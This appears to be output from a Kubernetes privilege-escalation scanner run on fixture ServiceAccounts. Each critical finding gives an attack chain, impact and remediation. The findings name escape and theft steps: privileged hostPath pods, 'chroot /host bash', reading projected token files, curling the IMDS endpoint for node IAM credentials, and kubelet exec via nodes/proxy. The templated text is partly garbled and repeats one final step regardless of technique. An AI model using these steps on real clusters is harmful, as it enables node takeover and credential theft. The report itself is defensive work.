  2. Acting as ServiceAccount/privesc-fixtures/sa-node-migrate, the attacker uses the node_drain_migrate technique via delete pods + node scheduling control, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Migrate pods onto an attacker node node_drain_migrate

    delete pods combined with cluster-scoped node control (update/patch on nodes/status, or delete nodes) lets an attacker cordon or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/privesc-fixtures/sa-node-migrate
    Permission granted delete pods + node scheduling control
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission delete pods + node scheduling control that enables the first hop (ServiceAccount/privesc-fixtures/sa-node-migrate/).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission delete pods + node scheduling control that enables the first hop (ServiceAccount/privesc-fixtures/sa-node-migrate/).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
CRITICAL ServiceAccount/privesc-fixtures/sa-pod-create-escape Cluster 9.4
ServiceAccount/privesc-fixtures/sa-pod-create-escape can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/privesc-fixtures/sa-pod-create-escapenode escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-pod-create-escape

Subject ServiceAccount/privesc-fixtures/sa-pod-create-escape has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/privesc-fixtures/sa-pod-create-escape/ via pod_create_privileged_escape (create pods (Pod Security Admission does not block privileged)): can create a privileged pod that escapes to the node

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/privesc-fixtures/sa-pod-create-escape yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/privesc-fixtures/sa-pod-create-escape.
  2. Acting as ServiceAccount/privesc-fixtures/sa-pod-create-escape, the attacker uses the pod_create_privileged_escape technique via create pods (Pod Security Admission does not block privileged), which gains can create a privileged pod that escapes to the node.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Create a privileged pod and escape to the node pod_create_privileged_escape

    RBAC never inspects pod contents, only the create verb. When the target namespace has no restrictive Pod Security Admission enforce label, an attacker who can create pods sets privileged: true, hostPID, or a hostPath mount of / and breaks out to the node. Baseline or Restricted enforcement would block this and limit the risk to token theft alone.

    From ServiceAccount/privesc-fixtures/sa-pod-create-escape
    Permission granted create pods (Pod Security Admission does not block privileged)
    Gives the attacker can create a privileged pod that escapes to the node
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission create pods (Pod Security Admission does not block privileged) that enables the first hop (ServiceAccount/privesc-fixtures/sa-pod-create-escape/).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission create pods (Pod Security Admission does not block privileged) that enables the first hop (ServiceAccount/privesc-fixtures/sa-pod-create-escape/).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
CRITICAL ServiceAccount/psa-suppressed/default Cluster 9.4
ServiceAccount/psa-suppressed/default can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/psa-suppressed/defaultnode escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/psa-suppressed/default

Subject ServiceAccount/psa-suppressed/default has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/psa-suppressed/default/ via pod_host_escape (privileged): runs in pod psa-suppressed/psa-priv-app-54c64bdd84-mf8gp with privileged

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/psa-suppressed/default yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/psa-suppressed/default.
  2. Acting as ServiceAccount/psa-suppressed/default, the attacker schedules a pod with host-level access (privileged: true, hostPath: /, hostPID, or hostNetwork) and escapes onto the underlying node. From there they read every co-located pod's filesystem, every projected ServiceAccount token on that node, and the kubelet's client cert.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Container escape to host pod_host_escape

    The pod is configured in a way that makes escaping to the underlying node trivial: privileged: true, hostPID, hostNetwork, or a sensitive hostPath mount (root, docker.sock, etc.). An attacker who controls the container reaches root on the node, then has access to every pod and kubelet credential on that node.

    From ServiceAccount/psa-suppressed/default
    Permission granted privileged
    Gives the attacker runs in pod psa-suppressed/psa-priv-app-54c64bdd84-mf8gp with privileged
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission privileged that enables the first hop (ServiceAccount/psa-suppressed/default/).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission privileged that enables the first hop (ServiceAccount/psa-suppressed/default/).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
CRITICAL ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled Cluster 9.4
ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabelednode escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled

Subject ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled/ via pod_host_escape (hostNetwork): runs in pod psa-unlabeled-fixtures/psa-unlabeled-app-f5ff8974-v6t5z with hostNetwork

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled.
  2. Acting as ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled, the attacker schedules a pod with host-level access (privileged: true, hostPath: /, hostPID, or hostNetwork) and escapes onto the underlying node. From there they read every co-located pod's filesystem, every projected ServiceAccount token on that node, and the kubelet's client cert.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Container escape to host pod_host_escape

    The pod is configured in a way that makes escaping to the underlying node trivial: privileged: true, hostPID, hostNetwork, or a sensitive hostPath mount (root, docker.sock, etc.). An attacker who controls the container reaches root on the node, then has access to every pod and kubelet credential on that node.

    From ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled
    Permission granted hostNetwork
    Gives the attacker runs in pod psa-unlabeled-fixtures/psa-unlabeled-app-f5ff8974-v6t5z with hostNetwork
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission hostNetwork that enables the first hop (ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled/).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission hostNetwork that enables the first hop (ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled/).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
CRITICAL ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath Cluster 9.4
ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpathnode escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath

Subject ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath/ via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod pv-hostpath-fixtures/pv-hostpath-app-5bb7f7676-js9zg falls back to node IAM role via IMDS

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath.
  2. Acting as ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod pv-hostpath-fixtures/pv-hostpath-app-5bb7f7676-js9zg falls back to node IAM role via IMDS.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod pv-hostpath-fixtures/pv-hostpath-app-5bb7f7676-js9zg falls back to node IAM role via IMDS
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath/).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath/).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
CRITICAL ServiceAccount/rbac-fixtures/sa-cluster-admin Cluster 9.4
ServiceAccount/rbac-fixtures/sa-cluster-admin can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-cluster-adminnode escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-cluster-admin

Subject ServiceAccount/rbac-fixtures/sa-cluster-admin has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/rbac-fixtures/sa-cluster-admin/ via node_drain_migrate (delete pods + node scheduling control): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/rbac-fixtures/sa-cluster-admin yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/rbac-fixtures/sa-cluster-admin.
  2. Acting as ServiceAccount/rbac-fixtures/sa-cluster-admin, the attacker uses the node_drain_migrate technique via delete pods + node scheduling control, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Migrate pods onto an attacker node node_drain_migrate

    delete pods combined with cluster-scoped node control (update/patch on nodes/status, or delete nodes) lets an attacker cordon or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/rbac-fixtures/sa-cluster-admin
    Permission granted delete pods + node scheduling control
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission delete pods + node scheduling control that enables the first hop (ServiceAccount/rbac-fixtures/sa-cluster-admin/).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission delete pods + node scheduling control that enables the first hop (ServiceAccount/rbac-fixtures/sa-cluster-admin/).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
CRITICAL ServiceAccount/rbac-fixtures/sa-impersonate Cluster 9.4
ServiceAccount/rbac-fixtures/sa-impersonate can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-impersonatenode escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-impersonate

Subject ServiceAccount/rbac-fixtures/sa-impersonate has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/rbac-fixtures/sa-impersonate/ via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod rbac-fixtures/imp-app-5f78d6bb9d-9xhpd falls back to node IAM role via IMDS

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/rbac-fixtures/sa-impersonate yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/rbac-fixtures/sa-impersonate.
  2. Acting as ServiceAccount/rbac-fixtures/sa-impersonate, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod rbac-fixtures/imp-app-5f78d6bb9d-9xhpd falls back to node IAM role via IMDS.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/rbac-fixtures/sa-impersonate
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod rbac-fixtures/imp-app-5f78d6bb9d-9xhpd falls back to node IAM role via IMDS
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/rbac-fixtures/sa-impersonate/).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/rbac-fixtures/sa-impersonate/).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
CRITICAL ServiceAccount/rbac-fixtures/sa-nodes-proxy Cluster 9.4
ServiceAccount/rbac-fixtures/sa-nodes-proxy can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-nodes-proxynode escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-nodes-proxy

Subject ServiceAccount/rbac-fixtures/sa-nodes-proxy has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/rbac-fixtures/sa-nodes-proxy/ via nodes_proxy (get nodes/proxy): can reach kubelet API via nodes/proxy WebSocket verb confusion

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/rbac-fixtures/sa-nodes-proxy yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/rbac-fixtures/sa-nodes-proxy.
  2. Acting as ServiceAccount/rbac-fixtures/sa-nodes-proxy, the attacker uses nodes/proxy (get nodes/proxy) to forward requests directly to the kubelet on each node. Combined with the kubelet's /exec endpoint this becomes a primitive for running commands inside any pod the kubelet can see.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. nodes/proxy → kubelet API nodes_proxy

    The nodes/proxy subresource forwards requests to the kubelet on each node. Combined with kubelet's /exec endpoint and a WebSocket verb mismatch, this becomes a primitive for executing commands inside any pod the kubelet can reach.

    From ServiceAccount/rbac-fixtures/sa-nodes-proxy
    Permission granted get nodes/proxy
    Gives the attacker can reach kubelet API via nodes/proxy WebSocket verb confusion
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission get nodes/proxy that enables the first hop (ServiceAccount/rbac-fixtures/sa-nodes-proxy/).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission get nodes/proxy that enables the first hop (ServiceAccount/rbac-fixtures/sa-nodes-proxy/).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
CRITICAL ServiceAccount/rbac-fixtures/sa-pod-create Cluster 9.4
ServiceAccount/rbac-fixtures/sa-pod-create can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-pod-createnode escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-pod-create

Subject ServiceAccount/rbac-fixtures/sa-pod-create has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/rbac-fixtures/sa-pod-create/ via pod_create_privileged_escape (create pods (Pod Security Admission does not block privileged)): can create a privileged pod that escapes to the node

